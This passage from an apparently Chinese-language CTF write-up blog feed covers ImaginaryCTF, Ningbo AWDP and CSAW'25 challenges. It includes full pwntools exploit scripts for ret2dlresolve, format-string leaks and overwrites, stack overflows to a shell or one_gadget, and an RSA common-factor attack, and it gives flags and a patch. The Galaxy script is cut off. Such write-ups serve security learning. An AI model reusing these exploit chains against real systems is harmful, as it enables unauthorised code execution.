mov     eax, 0
call    vuln
mov     eax, 0
pop     rbp
retn
; } // starts at 40117B
main endp

_text ends
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我们只要能控制 bss 中 &lt;code&gt;stdin&lt;/code&gt; 或者 &lt;code&gt;stdout&lt;/code&gt; 的值就能控制 rdi 了。好巧不巧，没开 PIE，~这就是隐藏的人和产生的地利。~&lt;/p&gt;
&lt;p&gt;接着思考应该让 ret2dlresolve 修改哪个 got 项呢？观察下面的 main 函数反编译代码，我们看到最开始调用了两个 setvbuf 。结合上面设置参数的方法，如果我们让 dlresolve 将解析出来的 system 地址写入 setvbuf 的 got 项，那我们只要返回到 main 就可以再次调用 setvbuf，而调用 setvbuf 会先设置参数，然后调用 system 。&lt;/p&gt;
&lt;p&gt;策略就是这样，还是很简单的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  vuln();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
下面这个 payload 需要注意的地方是，&lt;code&gt;data_addr&lt;/code&gt; 的地址我们可以在将 dlresolve payload 读进去之后动调确定，然后第二次 read 读入的 RBP 一定要设置的大点，不然后面在执行 dlresolve 解析的时候那些函数的 prologues 会将 RSP 缩小到只读地址，就会导致非法访问从而 abort 。
:::&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;PS: 有关这道题其实还有一个小故事（为期差不多三周的小故事还能算小嘛？我不知道……），算了太晚了，不写了……总之，让我越发意识到自己眼睛问题的严重程度 :sob:&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    Ret2dlresolvePayload,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./vuln&quot;
HOST, PORT = &quot;cascade.chal.imaginaryctf.org&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401162
    dlresolve = Ret2dlresolvePayload(
        elf=elf,
        symbol=&quot;system&quot;,
        args=[],
        data_addr=0x404070,
        resolution_addr=elf.got[&quot;setvbuf&quot;],
    )
    payload = flat(
        b&quot;A&quot; * 64,
        elf.sym[&quot;stdout&quot;] + 0x40,
        read,
    ).ljust(0x200 - 1, b&quot;\x00&quot;)

    raw_input(&quot;DEBUG&quot;)
    target.sendline(payload)

    rop.ret2dlresolve(dlresolve)
    rop.raw(rop.ret)
    rop.main()
    target.success(rop.dump())

    payload = flat(
        elf.sym[&quot;stdout&quot;] + 0x8,  # /bin/sh address
        b&quot;/bin/sh\x00&quot;,
        b&quot;A&quot; * 0x30,
        0x404F40,  # rbp
        read,
        dlresolve.payload,
    ).ljust(0x200 - 1, b&quot;\x00&quot;)
    target.sendline(payload)

    payload = flat(
        b&quot;A&quot; * 0x40,
        b&quot;B&quot; * 0x8,  # rbp
        rop.chain(),
    ).ljust(0x200 - 1, b&quot;\x00&quot;)
    target.sendline(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;ictf{i_h0pe_y0u_didnt_use_ret2dl_94b51175}&lt;/code&gt;]&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: 2025 宁波市第八届网络安全大赛决赛</title><link>https://cubeyond.net/posts/write-ups/2025-%E5%AE%81%E6%B3%A2%E5%B8%82%E7%AC%AC%E5%85%AB%E5%B1%8A%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E5%86%B3%E8%B5%9B/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/2025-%E5%AE%81%E6%B3%A2%E5%B8%82%E7%AC%AC%E5%85%AB%E5%B1%8A%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E5%86%B3%E8%B5%9B/</guid><description>2025 宁波市第八届网络安全大赛决赛 AWDP Pwn 方向单题。</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Cake_shop&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: AWDP Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Kong 师傅分享的题，本来只是抱着试一试的心态，看看能不能做出来的，结果没想到还真做出来了……决赛题，不过感觉挺简单，如果我在现场的话就拿分了哈哈哈，可惜了，国内赛事接触太少了。Anyway，还是值得记录一下的。&lt;/p&gt;
&lt;p&gt;粗略分析一下，发现 &lt;code&gt;do_nothing&lt;/code&gt; 里面存在格式化字符串漏洞。由于主菜单无限循环，所以我们可以无限触发格式化字符串漏洞，感觉这样一来题目难度瞬间就低了好几个档次。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int do_nothing()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(s);
  puts(&quot;\x1B[33mMaybe it should be thought about in your head\x1B[0m&quot;);
  puts(&quot;\x1B[33mWhat if it happens\x1B[0m&quot;);
  read(0, buf, 0x28u);
  return printf(buf);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chat&lt;/code&gt; 和 &lt;code&gt;earn_money&lt;/code&gt; 功能没啥用，直接看 &lt;code&gt;buy&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 buy()
{
  int choice; // [rsp+8h] [rbp-38h] BYREF
  int money; // [rsp+Ch] [rbp-34h]
  _BYTE buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts(s);
  puts(&quot;\x1B[33mWe have three kinds of cakes here\x1B[0m&quot;);
  puts(&quot;\x1B[33m1.Strawberry cake $10\x1B[0m&quot;);
  puts(&quot;\x1B[33m2.Orange cake $50\x1B[0m&quot;);
  puts(&quot;\x1B[33m3.Watermelon cake $100\x1B[0m&quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;choice);
  if ( choice == 1 )
  {
    money -= 10;
    money = money;
    if ( money &amp;lt; 0 )
      puts(&quot;\x1B[33mYou don&apos;t have enough money\x1B[0m&quot;);
  }
  if ( choice == 2 )
  {
    money -= 50;
    money = money;
    if ( money &amp;lt; 0 )
      puts(&quot;\x1B[33mYou don&apos;t have enough money\x1B[0m&quot;);
  }
  if ( choice == 3 )
  {
    money -= 100;
    money = money;
    if ( money &amp;lt; 0 )
      puts(&quot;\x1B[33mYou don&apos;t have enough money\x1B[0m&quot;);
  }
  if ( choice != 666 || money != 99999999 )
    return 0;
  puts(&quot;\x1B[33mBuy the whole cake shop\x1B[0m&quot;);
  read(0, buf, (unsigned int)size);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;标绿的部分正常情况下是执行不到的，注意到后面还有个 read 函数，感觉有猫腻。因为有格式化字符串漏洞，我们可以先把程序的几个关键基址算出来，然后再思考如何绕过检测，执行到最后那个 read 函数。&lt;/p&gt;
&lt;p&gt;这里 &lt;code&gt;choice&lt;/code&gt; 我们可以直接传入 666，所以问题就是 &lt;code&gt;money&lt;/code&gt; 怎么赋值了。注意到 money 在 data 段，&lt;code&gt;rw-p&lt;/code&gt; 权限，可篡改。&lt;/p&gt;
&lt;p&gt;算了下，格式化字符串得写四字节，值是 &lt;code&gt;0x5f5e0ff&lt;/code&gt;。由于只有几千万字节大小，写起来不会花多久，所以我一开始做的时候是选择一次性写完的，但听 Kong 师傅说他一次性写完有问题，于是我就改成一次写两字节了。&lt;/p&gt;
&lt;p&gt;最后那个 read 将输入读到四十字节的 buffer 中，但是默认 size 只有 32 字节。不过由于 size 也保存在 data 段，所以我们同理可以利用 do_nothing 的格式化字符串改写 size，溢出返回地址。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./pwn_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc.so.6&quot;)


def buy(choice):
    target.sendlineafter(b&quot;Please make your choice&amp;gt;&amp;gt;&quot;, str(1).encode())
    target.sendlineafter(b&quot;$100&quot;, str(choice).encode())


def do_nothing(msg):
    target.sendlineafter(b&quot;Please make your choice&amp;gt;&amp;gt;&quot;, str(4).encode())
    target.sendlineafter(b&quot;What if it happens&quot;, msg)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = b&quot;%17$p %8$p&quot;
    do_nothing(payload)
    target.recvline()
    response = target.recvline().strip().split()
    libc.address = int(response[0], 16) - 0x24083
    pie = int(response[1], 16) - 0x1570

    payload = b&quot;%11$p&quot;
    do_nothing(payload)
    target.recvline()
    canary = int(target.recvline().strip(), 16)
    money_p1 = pie + 0x4010
    money_p2 = money_p1 + 2
    money_value_p1 = 0x5F5E0FF &amp;amp; 0xFFFF
    money_value_p2 = (0x5F5E0FF &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF
    read_size = pie + 0x4014
    one_gadget = libc.address + 0xE3AFE

    target.success(f&quot;libc: {hex(libc.address)}&quot;)
    target.success(f&quot;pie: {hex(pie)}&quot;)
    target.success(f&quot;canary: {hex(canary)}&quot;)
    target.success(f&quot;money: {hex(money_p1)}&quot;)
    target.success(f&quot;read_size: {hex(read_size)}&quot;)
    target.success(f&quot;one_gadget: {hex(one_gadget)}&quot;)

    payload = flat(
        f&quot;aaaa%{money_value_p1 - 0x4}c%8$hn&quot;.encode(),
        money_p1,
    )
    do_nothing(payload)

    payload = flat(
        f&quot;aaaaa%{money_value_p2 - 0x5}c%8$hn&quot;.encode(),
        money_p2,
    )
    do_nothing(payload)

    payload = flat(
        b&quot;aaaaaa%1337c%8$n&quot;,
        read_size,
    )
    do_nothing(payload)
    buy(666)

    # 0x00000000000015cc: pop r12; pop r13; pop r14; pop r15; ret;
    payload = flat(
        b&quot;A&quot; * 0x28,
        canary,
        b&quot;A&quot; * 0x8,
        pie + 0x00000000000015CC,
        0,
        0,
        0,
        0,
        one_gadget,
    )
    target.sendline(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Patch&lt;/h2&gt;
&lt;p&gt;直接把 &lt;code&gt;printf&lt;/code&gt; patch 成 &lt;code&gt;puts&lt;/code&gt; 就好了，ez&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int do_nothing()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(s);
  puts(&quot;\x1B[33mMaybe it should be thought about in your head\x1B[0m&quot;);
  puts(&quot;\x1B[33mWhat if it happens\x1B[0m&quot;);
  read(0, buf, 0x28u);
  return puts(buf);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Write-ups: CSAW&apos;25 CTF Qualification Round</title><link>https://cubeyond.net/posts/write-ups/csaw-25-quals/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/csaw-25-quals/</guid><description>Write-ups for CSAW&apos;25 CTF Qualification Round.</description><pubDate>Sat, 13 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Discord&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Misc&lt;/li&gt;
&lt;li&gt;Points: 10&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Join the Discord for our super secret flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;本来以为是和机器人聊天，发现这机器人还挺难斥候，怀疑是真人。但凡我表现出任何索要 flag 的姿态他就不高兴了……最后发现 flag 在 #rules channel，严重怀疑是不是自己眼睛瞎了，还是当时脑子没完全开机，居然跑去和机器人聊天，然后这机器人也是牛逼，我说我要睡觉了，人家第二天晚上还主动来找我，问我醒了没，继续聊啊……&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;csawctf{w3Ic0m3_70_th3_22nd_y34r_0f_CSAW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Star Scream (Old)&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: OSINT&lt;/li&gt;
&lt;li&gt;Points: 50&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;In 2017, a daring trio of tinkerers sent five midnight-black specks skyward. No bigger than loaves of bread, yet destined to circle Earth 400km above the clouds. Two of the tinkerers dreamt of showing their country&apos;s flags to the stars, but six weeks before my planned farewell, I tumbled back to the blue. Who am I?&lt;/p&gt;
&lt;p&gt;When you&apos;ve sleuthed out the answer, submit: csawctf{Satelite-name_satcatnumber}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;13 号的题，没想到出现了一些戏剧性的事情，比赛延期 24h 并修改了题目……懒得删了，记录一下这个旧 flag……&lt;/p&gt;
&lt;p&gt;14 号的新题没做出来……/抓狂&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Birds-1&quot;&gt;Birds-1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/GhanaSat-1&quot;&gt;GhanaSat-1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;csawctf{GhanaSat-1_42821}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Mooneys Bookstore&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;You think it&apos;s just input. Just another binary.
But this stack? It&apos;s mine.
Overflow it. Follow the trail. I left a key behind.
If you&apos;re paying attention, you&apos;ll find it.
Slip once, and the story ends before it begins.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;简单题……我好菜啊 :sob:&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    p64,
    process,
    raw_input,
    remote,
)

FILE = &quot;./overflow_me&quot;
HOST, PORT = &quot;chals.ctf.csaw.io&quot;, 21006

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    secret_addr = elf.bss() + 0x28
    target.success(f&quot;secret addr: {hex(secret_addr)}&quot;)

    target.sendafter(b&quot;Tell me its address&quot;, p64(secret_addr))
    leak = target.recvlines(2)[1]
    secret = int(leak, 16).to_bytes(0x8, &quot;little&quot;)
    target.success(f&quot;leaked_addr: 0x{secret.hex()}&quot;)
    target.sendafter(b&quot;the story unlocks&quot;, secret)

    target.recvuntil(b&quot;for you: &quot;)
    val = int(target.recvline().strip(), 16).to_bytes(0x8, &quot;little&quot;)
    target.success(f&quot;val: 0x{val.hex()}&quot;)

    # raw_input(&quot;DEBUG&quot;)
    payload = flat(
        b&quot;A&quot; * 64,
        val,
        b&quot;A&quot; * 0x10,
        rop.ret.address,
        elf.sym[&quot;get_flag&quot;],
    )
    target.sendlineafter(b&quot;into this story.&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;csawctf{U_w3r3_n3v3r_m3@nt_2_s33_th3_st@ck~but_I_l3t_U_1n_b3c@us3_1_l0v3_U~d8K#xY_q1W9eVz2NpL7}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Power Up&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Your starship have been wandering for weeks in this derelict orbit, whose core is out of energy.
You are the last engineer who must ignite the core with energy using proper modules.
Power up the starship. Or stay stranded forever.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;复现一下，比赛的时候成功解决了里面的伪随机数问题，但是由于没怎么学过堆方面的知识，导致我认为这是 unsorted bin attack，然后现场学习了一番，发现始终会遇到问题，最后也没能做出来就放弃了……&lt;/p&gt;
&lt;p&gt;但是很意外，赛后看见有人通过逆向分析就给出了非预期的最简单解法……草，最近很多题目都向我指出：我要是不急着想怎么利用，而是多思考思考伪代码和汇编的话，说不定会有奇迹……&lt;/p&gt;
&lt;p&gt;Anyway，这道题官方解法是 largebin attack，草，我当时完全跑偏了。问题不大，先复现一下逆向分析的解法，然后等以后学完 largebin 了再回头用预期解做这道题吧……&lt;/p&gt;
&lt;p&gt;逐个功能进去查看，发现 &lt;code&gt;launch_starship&lt;/code&gt; 会直接打开并输出 flag 的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 launch_starship()
{
  size_t n; // rax
  int fd; // [rsp+Ch] [rbp-94h]
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v4; // [rsp+98h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, 0x80u);
  fd = open(&quot;flag.txt&quot;, 0);
  if ( fd == -1 )
  {
    fwrite(&quot;Error: open failed\n&quot;, 1u, 0x13u, stderr);
    exit(1);
  }
  read(fd, s, 0x80u);
  close(fd);
  *(_WORD *)&amp;amp;s[strlen(s)] = 10;
  n = strlen(s);
  write(1, s, n);
  return v4 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面是 main 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int seed; // eax
  int v4; // eax
  int n5; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v7; // [rsp+10h] [rbp-10h]
  int char; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v9; // [rsp+18h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts(&quot;Your starship have been wandering for weeks in this derelict orbit, whose core is out of energy.&quot;);
  puts(&quot;You are the last engineer who must ignite the core with energy using proper modules.&quot;);
  puts(&quot;Power up the starship. Or stay stranded forever.&quot;);
  seed = time(0);
  srand(seed);
  while ( 1 )
  {
    while ( 1 )
    {
      putchar(10);
      puts(&quot;[1] Create a module&quot;);
      puts(&quot;[2] Delete a module&quot;);
      puts(&quot;[3] Edit a module&quot;);
      puts(&quot;[4] Power up&quot;);
      puts(&quot;[5] Stay stranded&quot;);
      printf(&quot;&amp;gt;&amp;gt; &quot;);
      if ( (unsigned int)__isoc99_scanf(&quot;%d&quot;, &amp;amp;n5) == 1 &amp;amp;&amp;amp; n5 &amp;gt; 0 &amp;amp;&amp;amp; n5 &amp;lt;= 5 )
        break;
      puts(&quot;Invalid choice!&quot;);
      do
        char = getchar();
      while ( char != 10 &amp;amp;&amp;amp; char != -1 );
    }
    v4 = rand();
    v7 = (unsigned __int8)(((unsigned int)(v4 &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 24) + v4) - ((unsigned int)(v4 &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 24);
    switch ( n5 )
    {
      case 1:
        create_module();
        break;
      case 2:
        delete_module();
        break;
      case 3:
        edit_module();
        break;
      case 4:
        if ( (unsigned __int8)(16 * BYTE1(energy)) | (unsigned __int64)(((energy &amp;gt;&amp;gt; 4) &amp;amp; 0xF) == v7) )
        {
          puts(&quot;The core is full of energy to power up the starship!&quot;);
          launch_starship();
          exit(0);
        }
        puts(&quot;The core is still dead as a rock without energy!&quot;);
        break;
      case 5:
        puts(&quot;You and your starship will stay stranded in deep space forever!&quot;);
        exit(1);
      default:
        continue;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里直接手撕……注意到 &lt;code&gt;v4&lt;/code&gt; 是通过 &lt;code&gt;rand&lt;/code&gt; 生成的伪随机数，这个函数返回值范围是 $[ 0,RAND_MAX]$ 。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;v7&lt;/code&gt; 这个表达式，&lt;code&gt;(unsigned __int8)(((unsigned int)(v4 &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 24) + v4) - ((unsigned int)(v4 &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 24)&lt;/code&gt;，我们也无需深究它到底是什么意思，因为并不复杂，直接消项嘛～发现有两部分相同的是 &lt;code&gt;(unsigned int)(v4 &amp;gt;&amp;gt; 31) &amp;gt;&amp;gt; 24)&lt;/code&gt;，而减号左边比右边只是多加了一个 &lt;code&gt;v4&lt;/code&gt; 罢了。那如果我们得到的 &lt;code&gt;v4&lt;/code&gt; 正好为 0 的话，整个 &lt;code&gt;v7&lt;/code&gt; 表达式的结果也会是 0，都用不着算的，真瞪眼法秒了……&lt;/p&gt;
&lt;p&gt;现在再看 4 号功能的检测要求：&lt;code&gt;(unsigned __int8)(16 * BYTE1(energy)) | (unsigned __int64)(((energy &amp;gt;&amp;gt; 4) &amp;amp; 0xF) == v7)&lt;/code&gt;，因为我们要是能 bypass 的话就能直接拿到 flag，那就想想有没有可能直接 bypass，这样我们就不用思考如何利用复杂的堆攻击了。&lt;/p&gt;
&lt;p&gt;因为 &lt;code&gt;energy&lt;/code&gt; 是在 bss 上的未初始化全局变量，默认为 0，所以 &lt;code&gt;(unsigned __int8)(16 * BYTE1(energy))&lt;/code&gt; 的值可以直接确定为 0。由于这里使用的是 &lt;code&gt;|&lt;/code&gt; 逻辑与运算，相当于一个并集操作，所以如果我们想 bypass 这个检测，那唯一的机会就在 rhs 能不能是非 0 值了。&lt;/p&gt;
&lt;p&gt;思考 rhs，&lt;code&gt;(unsigned __int64)(((energy &amp;gt;&amp;gt; 4) &amp;amp; 0xF) == v7&lt;/code&gt;，它将 energy 值右移 4 bits，然后保留最低 4 bits，判断它与 &lt;code&gt;v7&lt;/code&gt; 是否相等。相等就返回 1，否则返回 0 。&lt;/p&gt;
&lt;p&gt;由于 energy 不论如何操作都是 0，这是肯定的，那只要 &lt;code&gt;v7&lt;/code&gt; 也为 0，&lt;code&gt;0 == 0&lt;/code&gt;，rhs 就返回 1，&lt;code&gt;0 | 1&lt;/code&gt; 就等于 1，成功 bypass 。&lt;/p&gt;
&lt;p&gt;而这，也只需要我们不断输入 4 选项罢了……至于能不能命中，只是个概率问题。&lt;/p&gt;
&lt;p&gt;这里解法是 &lt;code&gt;yes 4 | ./vuln&lt;/code&gt;，说实话当时看到这个答案还是有点惊讶的，后来想想，确实，自己的进步空间还是太大了……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;yes 4 | ./vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;csawctf{tyjroj_71m3_7o_g0_h0m3_zoqSy9_5w337_h0m3_nywcyp}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Obligatory RSA&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Crypto&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Crypto just wouldn&apos;t be crypto without one!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;RSA 简单啊，~直接拷打 AI xD~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import math

from Crypto.Util.number import inverse, long_to_bytes

e = 65537
n1 = 129092526753383933030272290277107300767707654330551632967994396398045326531320303963182497488182474202461120692162734880438261410066549845639992024037416720228421076282632904598519793243067220342037144864237020757818263128301138206081187472003821789897063195512919097350247829148288118913456964033001399074373
n2 = 108355113470836594630192960651980673780103497896732213011958303033575870030505528169174729530490405910634291415346360688290452976527316909469646908289732023715737439312572012648165819533234604850608390233938174081867146846639110685928136323983961395098632140681799175543046722931901766226759894951292033805879
d1 = 88843495989869871001559754882918076779858404440780391818567639602073173623287821751315349650577023725245222074965050035045516207303078461168168819365025746973589245131570143944718203046457391270418459087764266630890566079039821735168805805866019315142070438225092171304343352469029480503113942986147848666077
d2 = 94565144275929764017241865812435668644218918537941567711225644474418458115544003036362558987818610553975855551983688286593672386482543188020042082319191545660551324293738920214028045344249670512999137548994496577128446165632885775744795722253354007167294035878656056258332703809173397147948143695113558988035


def solve():
    print(&quot;--- Starting Common Factor Attack ---&quot;)
    p = math.gcd(n1, n2)

    if p &amp;gt; 1:
        print(&quot;[+] Success! A common factor was found.&quot;)
        print(&quot;Shared Prime (p): {p}\n&quot;)

        q1 = n1 // p
        q2 = n2 // p

        print(&quot;--- Factoring Results ---&quot;)
        print(&quot;q1: {q1}&quot;)
        print(&quot;q2: {q2}&quot;)
        print(&quot;[+] Verification successful: p * q1 == n1 and p * q2 == n2\n&quot;)

        # Calculate Euler&apos;s totient function
        phi1 = (p - 1) * (q1 - 1)
        phi2 = (p - 1) * (q2 - 1)

        # Calculate the correct private keys
        d_correct_1 = inverse(e, phi1)
        d_correct_2 = inverse(e, phi2)
        print(&quot;--- Calculated Correct Private Keys ---&quot;)
        print(f&quot;d_correct_1: {d_correct_1}&quot;)
        print(f&quot;d_correct_2: {d_correct_2}\n&quot;)

        print(&quot;--- Decrypting given &apos;d&apos; values as ciphertext ---&quot;)

        try:
            plaintext_1 = pow(d1, d_correct_1, n1)
            flag_1 = long_to_bytes(plaintext_1)
            print(f&quot;[+] Decrypted plaintext from d1: {flag_1}&quot;)
        except Exception as ex:
            print(f&quot;[-] Decryption failed for d1: {ex}&quot;)

        try:
            plaintext_2 = pow(d2, d_correct_2, n2)
            flag_2 = long_to_bytes(plaintext_2)
            print(f&quot;[+] Decrypted plaintext from d2: {flag_2}&quot;)
        except Exception as ex:
            print(f&quot;[-] Decryption failed for d2: {ex}&quot;)

    else:
        print(&quot;[-] Attack failed. n1 and n2 do not share a common factor.&quot;)


solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;csawctf{wH04m1_70d3Ny_7r4D1710n_4820391578649021735}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Galaxy&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Misc&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Reach for the stars!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;调教 AI 出的……工具就应该拿来用不是吗 LOL&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import context, process, remote, args
import sys

FILE = &quot;./main.py&quot;
HOST, PORT = &quot;chals.ctf.csaw.io&quot;, 21009

context(log_level=&quot;debug&quot;)

alphabet = &quot;abcdefghijklmnopqrstuvwxyz&apos;&quot;


def launch():
    global target
    if args.L:
        target = process([&quot;python3&quot;, FILE])
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    def send_recv_str(payload):
        target.recvuntil(b&quot;&amp;gt; &quot;, timeout=1)
        target.sendline(payload.encode())
        try:
            line = target.recvline()
            if not line:
                return &quot;&quot;
            return line.decode(errors=&quot;ignore&quot;).strip()
        except Exception:
            return &quot;&quot;

